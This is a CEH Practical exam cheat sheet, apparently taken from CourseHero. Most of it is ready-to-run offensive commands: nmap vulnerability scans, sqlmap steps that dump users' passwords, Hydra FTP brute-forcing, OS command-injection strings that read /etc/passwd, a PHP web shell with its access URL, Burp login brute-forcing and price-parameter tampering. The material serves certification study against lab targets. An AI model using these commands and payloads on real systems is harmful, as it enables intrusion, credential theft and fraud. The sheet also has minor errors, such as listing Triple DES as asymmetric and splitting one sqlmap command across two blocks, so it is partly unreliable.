

0. Nmap:

For Host / FQDN / PD Version Enumeration:

```
nmap -p 389 -sV IP
```

```
nmap -sV -A -T5 IP
```

```
nmap --script smb-os-discovery -p 445 IP
```

```
nmap -sS -v -p 3389 --open --script *-ntlm-info IP --script-timeout 60s
```

```
nmap -p 389 -T4 -A -v --script ldap-rootdse IP
```

For SMB Enumeration:

```
nmap -p 139,445 -T4 -sS --script vuln IP
```

Website Vulnerability Scan:

```
nmap -Pn --script vuln IP
```

```
nmap -sV --script http-enum www.site.com
```

To Identify ADB Port:

```
nmap -p 5555 IP
```

To Find Trojan Port:

Check For the Higher Port range

```
nmap -p- IP
```

```
nmap -p 9871,6703 IP
```

1. SQL Injection using SQLMap:

Extract passwords from a vulnerable web app:

```
sqlmap -u "http://target.com/login.php?id=1" --dbs
```

```
sqlmap -u "http://target.com/login.php?id=1" -D database_name --tables
```

```
sqlmap -u "http://target.com/login.php?id=1" -D database_name -T users --columns
```

```
sqlmap -u "http://target.com/login.php?id=1" -D database_name -T users -C
```

```
username,password --dump
```

2. Scan for RDP (Port 3389) & OS Discovery:

```
nmap -p 3389 --open -sV -T4 192.168.1.0/24
```

```
nmap -O 192.168.1.X
```

3. Find MySQL Service Running on Which Host:

```
nmap -p 3306 --open -sV 192.168.1.0/24
```

4. Crack FTP Credentials using Hydra:

```
hydra -L /home/user/wordlist/usernames.txt -P /home/user/wordlist/passwords.txt
```

```
ftp://192.168.1.X
```

5. Extract Password.txt from VeraCrypt:

```
veracrypt -t -m nokernelcrypto --password="your_password" /path/to/encrypted/file /mnt
```

```
cat /mnt/password.txt
```

6. Extract Username & Password from Wireshark:

- Open Wireshark

- Apply filter: http.authbasic || ftp || kerberos || smtp.auth

- Look for username/password in the Follow TCP Stream section.

7. Check if Bit 3 is True using Wireshark:

- Open Wireshark
- Apply filter: `tcp.flags.ack==1 && tcp.flags.syn==1`
- Check bit 3 in TCP header.

8. Identify Traffic Direction using Wireshark:

- Open Wireshark This study source was downloaded by 100000892997781 from CourseHero.com on 05-12-2025 10:01:53 GMT -05:00
<https://www.coursehero.com/file/247656159/CEH-Practical-Cheat-Sheetpdf/>
- Use filter: `ip.addr == 192.168.1.X`
- Analyze source & destination ports in TCP Stream.

9. Decrypt 3DES Encryption using CryptoTool:

1. Open CryptoTool
2. Click Encryption/Decryption > Asymmetric > Triple DES ECB
3. Set key 11 11 11 in all fields.
4. Open encrypted file and decrypt.

10. Extract PIN using OpenStego:

`openstego extract -sf secret_image.png`

11. Steganalysis on TXT file using Snow:

`snow.exe -C -p "given_password" file_name.txt`

12. Brute Force Website Login using BurpSuite (Intruder):

1. Capture POST request of login form in BurpSuite.
2. Send to Intruder > Positions > Set username/password fields.
3. Load wordlists for username & password.
4. Start attack & check responses.

13. Crack Hash using John the Ripper:

`john --wordlist=/usr/share/wordlists/rockyou.txt hashfile.txt`

14. Find & Extract Flag File from FTP:

`ftp 192.168.1.X`

`# Login with cracked credentials`

`ls -la`

`get flag.txt`

`cat flag.txt`

15. Remote OS Command Injection (DVWA):

`127.0.0.1; cat /etc/passwd`

`127.0.0.1 && dir C:\`

`| dir c:\ pin.txt`

16. File Upload (DVWA):

Upload PHP shell: This study source was downloaded by 100000892997781 from CourseHero.com on 05-12-2025 10:01:53 GMT -05:00

<https://www.coursehero.com/file/247656159/CEH-Practical-Cheat-Sheetpdf/>

```
<?php system($_GET['cmd']); ?>
```

Access it via:

<http://target.com/uploads/shell.php?cmd=whoami>

17. Compare Hashes to Check File Integrity:

```
md5sum file1.txt
```

```
md5sum file2.txt
```

18. Identify Trojan Port:

```
netstat -ano | findstr :4444
```

```
nmap -p- --open -sV 192.168.1.X
```

19. Parameter Tampering:

Modify GET/POST parameters in BurpSuite:

price=1000&discount=0 -> price=0&discount=100

20. Cryptanalysis using CryptoTool:

1. Open CryptoTool.

2. Click Encryption/Decryption > Asymmetric > Triple DES ECB.

3. Set 11 11 11 as the key.

4. Decrypt the file.

21. Extract Hidden Data using Snow:

```
snow.exe -C -p "given_password" hidden_text.txt
```

22. List PIN File in Remote OS Command Injection:

```
| dir c:\ "pin.txt"
```

! Take pin.txt